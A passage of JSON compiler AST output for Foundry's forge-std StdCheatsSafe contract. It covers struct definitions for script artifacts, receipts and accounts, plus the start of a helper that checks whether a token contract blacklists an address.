StdCheatsSafe.TxReturn[]"}},"visibility":"internal"}],"name":"EIP1559ScriptArtifact","nameLocation":"3805:21:3","scope":5537,"visibility":"public"},{"id":3741,"nodeType":"StructDefinition","src":"4031:236:3","nodes":[],"canonicalName":"StdCheatsSafe.RawEIP1559ScriptArtifact","members":[{"constant":false,"id":3721,"mutability":"mutable","name":"libraries","nameLocation":"4082:9:3","nodeType":"VariableDeclaration","scope":3741,"src":"4073:18:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"},"typeName":{"baseType":{"id":3719,"name":"string","nodeType":"ElementaryTypeName","src":"4073:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"id":3720,"nodeType":"ArrayTypeName","src":"4073:8:3","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"}},"visibility":"internal"},{"constant":false,"id":3723,"mutability":"mutable","name":"path","nameLocation":"4108:4:3","nodeType":"VariableDeclaration","scope":3741,"src":"4101:11:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"},"typeName":{"id":3722,"name":"string","nodeType":"ElementaryTypeName","src":"4101:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":3726,"mutability":"mutable","name":"pending","nameLocation":"4131:7:3","nodeType":"VariableDeclaration","scope":3741,"src":"4122:16:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"},"typeName":{"baseType":{"id":3724,"name":"string","nodeType":"ElementaryTypeName","src":"4122:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"id":3725,"nodeType":"ArrayTypeName","src":"4122:8:3","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"}},"visibility":"internal"},{"constant":false,"id":3730,"mutability":"mutable","name":"receipts","nameLocation":"4161:8:3","nodeType":"VariableDeclaration","scope":3741,"src":"4148:21:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawReceipt_$3666_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.RawReceipt[]"},"typeName":{"baseType":{"id":3728,"nodeType":"UserDefinedTypeName","pathNode":{"id":3727,"name":"RawReceipt","nameLocations":["4148:10:3"],"nodeType":"IdentifierPath","referencedDeclaration":3666,"src":"4148:10:3"},"referencedDeclaration":3666,"src":"4148:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceipt_$3666_storage_ptr","typeString":"struct StdCheatsSafe.RawReceipt"}},"id":3729,"nodeType":"ArrayTypeName","src":"4148:12:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawReceipt_$3666_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.RawReceipt[]"}},"visibility":"internal"},{"constant":false,"id":3734,"mutability":"mutable","name":"txReturns","nameLocation":"4190:9:3","nodeType":"VariableDeclaration","scope":3741,"src":"4179:20:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_TxReturn_$3788_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.TxReturn[]"},"typeName":{"baseType":{"id":3732,"nodeType":"UserDefinedTypeName","pathNode":{"id":3731,"name":"TxReturn","nameLocations":["4179:8:3"],"nodeType":"IdentifierPath","referencedDeclaration":3788,"src":"4179:8:3"},"referencedDeclaration":3788,"src":"4179:8:3","typeDescriptions":{"typeIdentifier":"t_struct$_TxReturn_$3788_storage_ptr","typeString":"struct StdCheatsSafe.TxReturn"}},"id":3733,"nodeType":"ArrayTypeName","src":"4179:10:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_TxReturn_$3788_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.TxReturn[]"}},"visibility":"internal"},{"constant":false,"id":3736,"mutability":"mutable","name":"timestamp","nameLocation":"4217:9:3","nodeType":"VariableDeclaration","scope":3741,"src":"4209:17:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":3735,"name":"uint256","nodeType":"ElementaryTypeName","src":"4209:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":3740,"mutability":"mutable","name":"transactions","nameLocation":"4248:12:3","nodeType":"VariableDeclaration","scope":3741,"src":"4236:24:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawTx1559_$3526_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.RawTx1559[]"},"typeName":{"baseType":{"id":3738,"nodeType":"UserDefinedTypeName","pathNode":{"id":3737,"name":"RawTx1559","nameLocations":["4236:9:3"],"nodeType":"IdentifierPath","referencedDeclaration":3526,"src":"4236:9:3"},"referencedDeclaration":3526,"src":"4236:9:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawTx1559_$3526_storage_ptr","typeString":"struct StdCheatsSafe.RawTx1559"}},"id":3739,"nodeType":"ArrayTypeName","src":"4236:11:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawTx1559_$3526_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.RawTx1559[]"}},"visibility":"internal"}],"name":"RawEIP1559ScriptArtifact","nameLocation":"4038:24:3","scope":5537,"visibility":"public"},{"id":3763,"nodeType":"StructDefinition","src":"4273:334:3","nodes":[],"canonicalName":"StdCheatsSafe.RawReceiptLog","members":[{"constant":false,"id":3743,"mutability":"mutable","name":"logAddress","nameLocation":"4344:10:3","nodeType":"VariableDeclaration","scope":3763,"src":"4336:18:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":3742,"name":"address","nodeType":"ElementaryTypeName","src":"4336:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":3745,"mutability":"mutable","name":"blockHash","nameLocation":"4372:9:3","nodeType":"VariableDeclaration","scope":3763,"src":"4364:17:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":3744,"name":"bytes32","nodeType":"ElementaryTypeName","src":"4364:7:3","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":3747,"mutability":"mutable","name":"blockNumber","nameLocation":"4397:11:3","nodeType":"VariableDeclaration","scope":3763,"src":"4391:17:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"},"typeName":{"id":3746,"name":"bytes","nodeType":"ElementaryTypeName","src":"4391:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":3749,"mutability":"mutable","name":"data","nameLocation":"4424:4:3","nodeType":"VariableDeclaration","scope":3763,"src":"4418:10:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"},"typeName":{"id":3748,"name":"bytes","nodeType":"ElementaryTypeName","src":"4418:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":3751,"mutability":"mutable","name":"logIndex","nameLocation":"4444:8:3","nodeType":"VariableDeclaration","scope":3763,"src":"4438:14:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"},"typeName":{"id":3750,"name":"bytes","nodeType":"ElementaryTypeName","src":"4438:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":3753,"mutability":"mutable","name":"removed","nameLocation":"4467:7:3","nodeType":"VariableDeclaration","scope":3763,"src":"4462:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":3752,"name":"bool","nodeType":"ElementaryTypeName","src":"4462:4:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":3756,"mutability":"mutable","name":"topics","nameLocation":"4494:6:3","nodeType":"VariableDeclaration","scope":3763,"src":"4484:16:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage_ptr","typeString":"bytes32[]"},"typeName":{"baseType":{"id":3754,"name":"bytes32","nodeType":"ElementaryTypeName","src":"4484:7:3","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":3755,"nodeType":"ArrayTypeName","src":"4484:9:3","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage_ptr","typeString":"bytes32[]"}},"visibility":"internal"},{"constant":false,"id":3758,"mutability":"mutable","name":"transactionHash","nameLocation":"4518:15:3","nodeType":"VariableDeclaration","scope":3763,"src":"4510:23:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":3757,"name":"bytes32","nodeType":"ElementaryTypeName","src":"4510:7:3","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":3760,"mutability":"mutable","name":"transactionIndex","nameLocation":"4549:16:3","nodeType":"VariableDeclaration","scope":3763,"src":"4543:22:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"},"typeName":{"id":3759,"name":"bytes","nodeType":"ElementaryTypeName","src":"4543:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":3762,"mutability":"mutable","name":"transactionLogIndex","nameLocation":"4581:19:3","nodeType":"VariableDeclaration","scope":3763,"src":"4575:25:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"},"typeName":{"id":3761,"name":"bytes","nodeType":"ElementaryTypeName","src":"4575:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"name":"RawReceiptLog","nameLocation":"4280:13:3","scope":5537,"visibility":"public"},{"id":3783,"nodeType":"StructDefinition","src":"4613:306:3","nodes":[],"canonicalName":"StdCheatsSafe.ReceiptLog","members":[{"constant":false,"id":3765,"mutability":"mutable","name":"logAddress","nameLocation":"4681:10:3","nodeType":"VariableDeclaration","scope":3783,"src":"4673:18:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":3764,"name":"address","nodeType":"ElementaryTypeName","src":"4673:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":3767,"mutability":"mutable","name":"blockHash","nameLocation":"4709:9:3","nodeType":"VariableDeclaration","scope":3783,"src":"4701:17:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":3766,"name":"bytes32","nodeType":"ElementaryTypeName","src":"4701:7:3","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":3769,"mutability":"mutable","name":"blockNumber","nameLocation":"4736:11:3","nodeType":"VariableDeclaration","scope":3783,"src":"4728:19:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":3768,"name":"uint256","nodeType":"ElementaryTypeName","src":"4728:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":3771,"mutability":"mutable","name":"data","nameLocation":"4763:4:3","nodeType":"VariableDeclaration","scope":3783,"src":"4757:10:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"},"typeName":{"id":3770,"name":"bytes","nodeType":"ElementaryTypeName","src":"4757:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":3773,"mutability":"mutable","name":"logIndex","nameLocation":"4785:8:3","nodeType":"VariableDeclaration","scope":3783,"src":"4777:16:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":3772,"name":"uint256","nodeType":"ElementaryTypeName","src":"4777:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":3776,"mutability":"mutable","name":"topics","nameLocation":"4813:6:3","nodeType":"VariableDeclaration","scope":3783,"src":"4803:16:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage_ptr","typeString":"bytes32[]"},"typeName":{"baseType":{"id":3774,"name":"bytes32","nodeType":"ElementaryTypeName","src":"4803:7:3","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":3775,"nodeType":"ArrayTypeName","src":"4803:9:3","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage_ptr","typeString":"bytes32[]"}},"visibility":"internal"},{"constant":false,"id":3778,"mutability":"mutable","name":"transactionIndex","nameLocation":"4837:16:3","nodeType":"VariableDeclaration","scope":3783,"src":"4829:24:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":3777,"name":"uint256","nodeType":"ElementaryTypeName","src":"4829:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":3780,"mutability":"mutable","name":"transactionLogIndex","nameLocation":"4871:19:3","nodeType":"VariableDeclaration","scope":3783,"src":"4863:27:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":3779,"name":"uint256","nodeType":"ElementaryTypeName","src":"4863:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":3782,"mutability":"mutable","name":"removed","nameLocation":"4905:7:3","nodeType":"VariableDeclaration","scope":3783,"src":"4900:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":3781,"name":"bool","nodeType":"ElementaryTypeName","src":"4900:4:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"name":"ReceiptLog","nameLocation":"4620:10:3","scope":5537,"visibility":"public"},{"id":3788,"nodeType":"StructDefinition","src":"4925:74:3","nodes":[],"canonicalName":"StdCheatsSafe.TxReturn","members":[{"constant":false,"id":3785,"mutability":"mutable","name":"internalType","nameLocation":"4958:12:3","nodeType":"VariableDeclaration","scope":3788,"src":"4951:19:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"},"typeName":{"id":3784,"name":"string","nodeType":"ElementaryTypeName","src":"4951:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":3787,"mutability":"mutable","name":"value","nameLocation":"4987:5:3","nodeType":"VariableDeclaration","scope":3788,"src":"4980:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"},"typeName":{"id":3786,"name":"string","nodeType":"ElementaryTypeName","src":"4980:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"name":"TxReturn","nameLocation":"4932:8:3","scope":5537,"visibility":"public"},{"id":3793,"nodeType":"StructDefinition","src":"5005:65:3","nodes":[],"canonicalName":"StdCheatsSafe.Account","members":[{"constant":false,"id":3790,"mutability":"mutable","name":"addr","nameLocation":"5038:4:3","nodeType":"VariableDeclaration","scope":3793,"src":"5030:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":3789,"name":"address","nodeType":"ElementaryTypeName","src":"5030:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":3792,"mutability":"mutable","name":"key","nameLocation":"5060:3:3","nodeType":"VariableDeclaration","scope":3793,"src":"5052:11:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":3791,"name":"uint256","nodeType":"ElementaryTypeName","src":"5052:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"name":"Account","nameLocation":"5012:7:3","scope":5537,"visibility":"public"},{"id":3799,"nodeType":"EnumDefinition","src":"5076:123:3","nodes":[],"canonicalName":"StdCheatsSafe.AddressType","members":[{"id":3794,"name":"Payable","nameLocation":"5103:7:3","nodeType":"EnumValue","src":"5103:7:3"},{"id":3795,"name":"NonPayable","nameLocation":"5120:10:3","nodeType":"EnumValue","src":"5120:10:3"},{"id":3796,"name":"ZeroAddress","nameLocation":"5140:11:3","nodeType":"EnumValue","src":"5140:11:3"},{"id":3797,"name":"Precompile","nameLocation":"5161:10:3","nodeType":"EnumValue","src":"5161:10:3"},{"id":3798,"name":"ForgeAddress","nameLocation":"5181:12:3","nodeType":"EnumValue","src":"5181:12:3"}],"name":"AddressType","nameLocation":"5081:11:3"},{"id":3884,"nodeType":"FunctionDefinition","src":"5292:903:3","nodes":[],"body":{"id":3883,"nodeType":"Block","src":"5373:822:3","nodes":[],"statements":[{"assignments":[3807],"declarations":[{"constant":false,"id":3807,"mutability":"mutable","name":"tokenCodeSize","nameLocation":"5449:13:3","nodeType":"VariableDeclaration","scope":3883,"src":"5441:21:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":3806,"name":"uint256","nodeType":"ElementaryTypeName","src":"5441:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":3808,"nodeType":"VariableDeclarationStatement","src":"5441:21:3"},{"AST":{"nativeSrc":"5481:59:3","nodeType":"YulBlock","src":"5481:59:3","statements":[{"nativeSrc":"5495:35:3","nodeType":"YulAssignment","src":"5495:35:3","value":{"arguments":[{"name":"token","nativeSrc":"5524:5:3","nodeType":"YulIdentifier","src":"5524:5:3"}],"functionName":{"name":"extcodesize","nativeSrc":"5512:11:3","nodeType":"YulIdentifier","src":"5512:11:3"},"nativeSrc":"5512:18:3","nodeType":"YulFunctionCall","src":"5512:18:3"},"variableNames":[{"name":"tokenCodeSize","nativeSrc":"5495:13:3","nodeType":"YulIdentifier","src":"5495:13:3"}]}]},"evmVersion":"shanghai","externalReferences":[{"declaration":3801,"isOffset":false,"isSlot":false,"src":"5524:5:3","valueSize":1},{"declaration":3807,"isOffset":false,"isSlot":false,"src":"5495:13:3","valueSize":1}],"id":3809,"nodeType":"InlineAssembly","src":"5472:68:3"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":3813,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":3811,"name":"tokenCodeSize","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3807,"src":"5557:13:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"hexValue":"30","id":3812,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"5573:1:3","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"5557:17:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"53746443686561747320617373756d654e6f74426c61636b6c697374656428616464726573732c61646472657373293a20546f6b656e2061646472657373206973206e6f74206120636f6e74726163742e","id":3814,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"5576:83:3","typeDescriptions":{"typeIdentifier":"t_stringliteral_ff181fc90e0398988b2d16ac6106309afb26707604277f79174c19e18b9403ed","typeString":"literal_string \"StdCheats assumeNotBlacklisted(address,address): Token address is not a contract.\""},"value":"StdCheats assumeNotBlacklisted(address,address): Token address is not a contract."}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_ff181fc90e0398988b2d16ac6106309afb26707604277f79174c19e18b9403ed","typeString":"literal_string \"StdCheats assumeNotBlacklisted(address,address): Token address is not a contract.\""}],"id":3810,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"5549:7:3","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":3815,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5549:111:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":3816,"nodeType":"ExpressionStatement","src":"5549:111:3"},{"assignments":[3818],"declarations":[{"constant":false,"id":3818,"mutability":"mutable","name":"success","nameLocation":"5676:7:3","nodeType":"VariableDeclaration","scope":3883,"src":"5671:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":3817,"name":"bool","nodeType":"ElementaryTypeName","src":"5671:4:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"id":3819,"nodeType":"VariableDeclarationStatement","src":"5671:12:3"},{"assignments":[3821],"declarations":[{"constant":false,"id":3821,"mutability":"mutable","name":"returnData","nameLocation":"5706:10:3","nodeType":"VariableDeclaration","scope":3883,"src":"5693:23:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":3820,"name":"bytes","nodeType":"ElementaryTypeName","src":"5693:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":3822,"nodeType":"VariableDeclarationStatement","src":"5693:23:3"},{"expression":{"id":3834,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"components":[{"id":3823,"name":"success","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3818,"src":"5799:7:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":3824,"name":"returnData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3821,"src":"5808:10:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"id":3825,"isConstant":false,"isInlineArray":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"TupleExpression","src":"5798:21:3","typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"arguments":[{"hexValue":"30786665353735613837","id":3830,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"5862:10:3","typeDescriptions":{"typeIdentifier":"t_rational_4267137671_by_1","typeString":"int_const 4267137671"},"value":"0xfe575a87"},{"id":3831,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3803,"src":"5874:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_4267137671_by_1","typeString":"int_const 4267137671"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":3828,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"5839:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":3829,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"5843:18:3","memberName":"encodeWithSelector","nodeType":"MemberAccess","src":"5839:22:3","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithselector_pure$_t_bytes4_$returns$_t_bytes_memory_ptr_$","typeString":"function (bytes4) pure returns (bytes memory)"}},"id":3832,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5839:40:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":3826,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3801,"src":"5822:5:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":3827,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5828:10:3","memberName":"staticcall","nodeType":"MemberAccess","src":"5822:16:3","typeDescriptions":{"typeIdentifier":"t_function_barestaticcall_view$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) view returns (bool,bytes memory)"}},"id":3833,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5822:58:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"src":"5798:82:3","typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":3835,"nodeType":"ExpressionStatement","src":"5798:82:3"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":3850,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":3840,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"5900:8:3","subExpression":{"id":3839,"name":"success","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3818,"src":"5901:7:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"||","rightExpression":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":3849,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"id":3843,"name":"returnData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3821,"src":"5923:10:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"components":[{"id":3845,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"5936:4:3","typeDescriptions":{"typeIdentifier":"t_type$_t_bool_$","typeString":"type(bool)"},"typeName":{"id":3844,"name":"bool","nodeType":"ElementaryTypeName","src":"5936:4:3","typeDescriptions":{}}}],"id":3846,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"TupleExpression","src":"5935:6:3","typeDescriptions":{"typeIdentifier":"t_type$_t_bool_$","typeString":"type(bool)"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_type$_t_bool_$","typeString":"type(bool)"}],"expression":{"id":3841,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"5912:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":3842,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"5916:6:3","memberName":"decode","nodeType":"MemberAccess","src":"5912:10:3","typeDescriptions":{"typeIdentifier":"t_function_abidecode_pure$__$returns$__$","typeString":"function () pure"}},"id":3847,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5912:30:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"66616c7365","id":3848,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"5946:5:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"},"src":"5912:39:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"5900:51:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":3836,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"5890:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract 